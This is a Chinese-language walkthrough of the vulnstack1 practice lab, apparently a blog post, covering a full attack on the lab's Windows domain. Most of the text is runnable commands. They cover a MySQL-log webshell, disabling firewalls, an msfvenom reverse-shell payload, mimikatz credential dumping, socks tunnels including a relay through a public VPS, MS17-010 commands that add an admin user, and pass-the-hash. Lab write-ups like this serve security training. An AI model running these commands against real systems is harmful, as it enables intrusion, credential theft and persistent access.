vulnstack1靶场记录

  • 环境搭建

    • 网络配置

      两块虚拟网卡,分别为52和72。
      kali:192.168.52.130
      win7(web服务器):192.168.52.132(连外网)192.168.72.128(连内网)
      win2K3(域中服务器):192.168.72.130
      win server(域控):192.168.72.129
      然后将win7的第二块网卡(72)的dns地址设置为域控的地址

    • 启动服务

      默认密码hongrisec@2020,在win7中启动phpstudy
       

  • 攻击web服务器

    nmap扫描发现80和3306开放,dirsearch扫描发现phpmyadmin,存在root/root弱口令可直接登入。
    攻击方式有很多,这里只采用数据库写马的方式。

    查看权限:show variables like '%secure_file%';
    (发现secure_file_priv的值为NULL,不能用into outfile的方式直接写马
    

    尝试用log写马:

    show variables like 'general%';(查看当前log的目录)
    set global general_log_file = "C:/phpStudy/www/1.php";(指定日志文件)
    SELECT ''(写马)
    

    然后用蚁剑连接。
    连接后首先查看防火墙状态并关闭

    • 关闭防火墙

      windows server 2K3 之前的版本

      netsh firewall set opmode disable
      

      之后的版本:

      netsh advfirewall set allprofiles state off
      
    • 查看防火墙配置
      netsh firewall show config
      
    • 修改防火墙配置
      windows server 2K3 之前的版本,允许指定程序全部连接:

      netsh firewall add allowedprogram c:\nc.exe "alloc nc" enable 
      

      windows server 2K3 之后的版本,允许指定程序进入

      netsh advfirewall firewall add rule name="pass nc" dir=in action=allow program="C:\nc.exe"
      

      允许3389端口放行:

      netsh advfirewall firewall add rule name="Remote Desktop" protocol=TCP dir=in localport=3389 action=allow
      

 

  • 后渗透阶段

    • 信息收集

      whoami
      hostname
      net user
      ipconfig /all
      net localgroup
      administrators
      系统中文:systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本"
      系统英文:systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
      查询系统体系架构:echo % PROCESSOR_ARCHITECTURE%
      tasklist    或   wmic process list brief(查询进程)
      

      常见杀软的进程

      进程名 软件
      360sd.exe 360 杀毒
      360tray.exe 360 实时保护
      ZhuDongFangYu.exe 360 主动防御
      KSafeTray.exe 金山卫士
      SafeDogUpdateCenter.exe 安全狗
      McAfee McShield.exe
      egui.exe NOD32
      AVP.exe 卡巴斯基
      avguard.exe 小红伞
      bdagent.exe BitDefender

      (域信息收集见vulnstack2)

      ps:
      在域信息收集中,如果出现拒绝访问错误,是因为权限不够,需要先提权再进行查看。
      

       

    • 用CS进行后渗透

      设置监听

      然后选择attack中的package中的windows excutables(s),用刚才新建的listener接收shell。
      生成后用蚁剑传到www目录下,在终端中直接运行即可。
      连接后默认的sleep为60s,这里为了方便将其设置为sleep 0。

    • 用msf进行后渗透

      先用msfvenmo生成木马

      msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.52.130 LPORT=1234 -f exe -o run—_1234.exe
      

      在msf中设置监听

      use exploit/mutli/handler
      set payload windows/x64/meterpreter_reverse_tcp
      set lhost 192.168.52.130
      set lport 1234
      run
      

      同样用蚁剑上传马,运行后接收到反弹的shell
      meterpreter生成的进程不稳定容易掉,这里需要进程迁移

      ps(查看主机正在运行的进程)
      getpid(查看meterpreter shell的进程)
      migrate 1416(将shell进程迁移到explorer.exe中)
      或者用自动迁移进程命令:
      run post/windows/manage/migrate
      关闭防火墙命令:
      run post/windows/manage/enable_rdp
      
    • 各种提权方式

      • meterpreter提权
        getsystem一键提权
        
      • 发现缺失补丁
        wmic qfe get Caption, Description, HotFixID, InstalledOn(列出已安装的补丁)
        


        发现没有安装KB3139914补丁(MS16-032),可以利用msf进行提权
        还可以利用msf发现缺失补丁

        use post/windows/gather/enum_patches
        set SESSION 3
        run
        

        use post/multi/recon/local_exploit_suggester
        set LHOST 192.168.52.130
        set SESSION 3
        run
        


        显然,这台靶机是个筛子。。。

      • 利用cs自带的Elevate提权

        右击沦陷主机,在Access中选择Elevate(需要新建listener),可生成一个system权限的主机。

      • 使用mimikatz抓取密码
        run hashdump(获取密码的hash值,虽然感觉没什么用)
        

        使用mimikatz的前提:将meterpreter进程迁移到有system权限的64位进程

        ps
        migrate PID
        load mimikatz
        mimikatz_command -f sekurlsa::searchPasswords
        


        或者用kiwi

        load kiwi
        creds_all
        


         

  • 横向移动

    • 搭建隧道

      在进行横向渗透前,先将该web服务器配置为代理服务器当作跳板机。

      • 直接用msf搭建sock隧道

        在session中自动创建路由并使用proxychains代理(不过过了一会就莫名断了)

        run post/multi/manage/autoroute
        run autoroute -p
        background
        use auxiliary/server/socks5
        run
        可用jobs查看任务是否执行
        

        然后配置proxychains.conf,端口都设置为1080

      • 搭建SSH隧道绕过firewall直连3389端口
        192.168.52.1上执行:
        ssh -CfNg -L 1153:192.168.52.129:3389 root@192.168.52.130(转发)
        在meterpreter中开启3389:
        run post/windows/manage/enable_rdp
        rdesktop 192.168.52.1:1153
        
      • 用ew做转发(推荐)

        先把ew传到web服务器上,实验环境中直接在web服务器上做正向代理即可

        在win7上运行:
        ew_for_Win.exe -s ssocksd -l 2080
        然后在kali上修改/etc/proxychains
        添加socks5 192.168.52.132(win7重启了一次,ip地址发生变化)
        

        在真实渗透环境中,需要通过公网服务器进行转发:

        1.在公网vps上执行:
        ./ew_for_linux64 -s rcsocks -l 2080 -e 2024 &
        2.在目标机器上执行
        ew_for_Win.exe -s rssocks -d 1.116.196.115 -e 2024
        3.在本地kali上添加proxychains规则,连向1.116.196.115 2080
        
    • 内网信息收集

      使用msf内置模块

      auxiliary/scanner/discovery/udp_sweep    #基于udp协议发现内网存活主机
      auxiliary/scanner/discovery/udp_probe    #基于udp协议发现内网存活主机
      auxiliary/scanner/netbios/nbname         #基于netbios协议发现内网存活主机
      auxiliary/scanner/ftp/ftp_version            #发现内网ftp服务,基于默认21端口
      auxiliary/scanner/ssh/ssh_version            #发现内网ssh服务,基于默认22端口
      auxiliary/scanner/telnet/telnet_version      #发现内网telnet服务,基于默认23端口
      auxiliary/scanner/dns/dns_amp                #发现dns服务,基于默认53端口
      auxiliary/scanner/http/http_version          #发现内网http服务,基于默认80端口
      auxiliary/scanner/http/title                 #探测内网http服务的标题
      auxiliary/scanner/smb/smb_version            #发现内网smb服务,基于默认的445端口   
      auxiliary/scanner/mssql/mssql_schemadump     #发现内网SQLServer服务,基于默认的1433端口
      auxiliary/scanner/oracle/oracle_hashdump     #发现内网oracle服务,基于默认的1521端口 
      auxiliary/scanner/mysql/mysql_version        #发现内网mysql服务,基于默认3306端口
      auxiliary/scanner/rdp/rdp_scanner            #发现内网RDP服务,基于默认3389端口
      auxiliary/scanner/redis/redis_server         #发现内网Redis服务,基于默认6379端口
      auxiliary/scanner/db2/db2_version            #探测内网的db2服务,基于默认的50000端口
      auxiliary/scanner/netbios/nbname             #探测内网主机的netbios名字
      

      使用nmap+代理扫描:

      proxychains nmap -Pn -sT 192.168.72.130   
      
    • 利用已知漏洞攻击

      ms17-010(445)和 ms19-0708(3389),在msf中使用proxychainsdaili

      set proxies socks5:192.168.52.132:2080
      

      然后可尝试使用ms17-010对win2K3和域控进行攻击(因为msf的对应模块出bug所以没有演示)
      这里仅尝试用ms17-010添加管理员用户并尝试用3389登录

      use auxiliary/admin/smb/ms17_010_command
      set rhosts 192.168.72.130
      set command net user moonflower 1qaz@WSX /add(添加用户)
      run
      set command net localgroup administrators moonflower /add(把用户添加到管理员组)
      run
      set command net localgroup administrators(查看管理员组)
      run
      set command 'REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f'(打开3389端口)
      run
      

      利用代理可用成功登录到计算机(但无法登录到域中)

      同理也可以用来攻击192.168.72.129(域控)

  • 利用ipc连接域控

    建立ipc连接 net use \\192.168.72.129\c "1qaz@WSX" /user:"Administrator"
    可以查看域控的目录:
    dir \\192.168.72.129\c$
    
  • hash传递攻击

    前面用mimikatz抓取了域管理员administrator的hash,在没有明文密码的情况下,可用使用hash传递攻击

    mimikatz中运行:
    sekurlsa::pth /user:administrator /domain:"god.org" /ntlm:161cff084477fe596a5db81874498a24
    
点赞

发表回复

电子邮件地址不会被公开。必填项已用 * 标注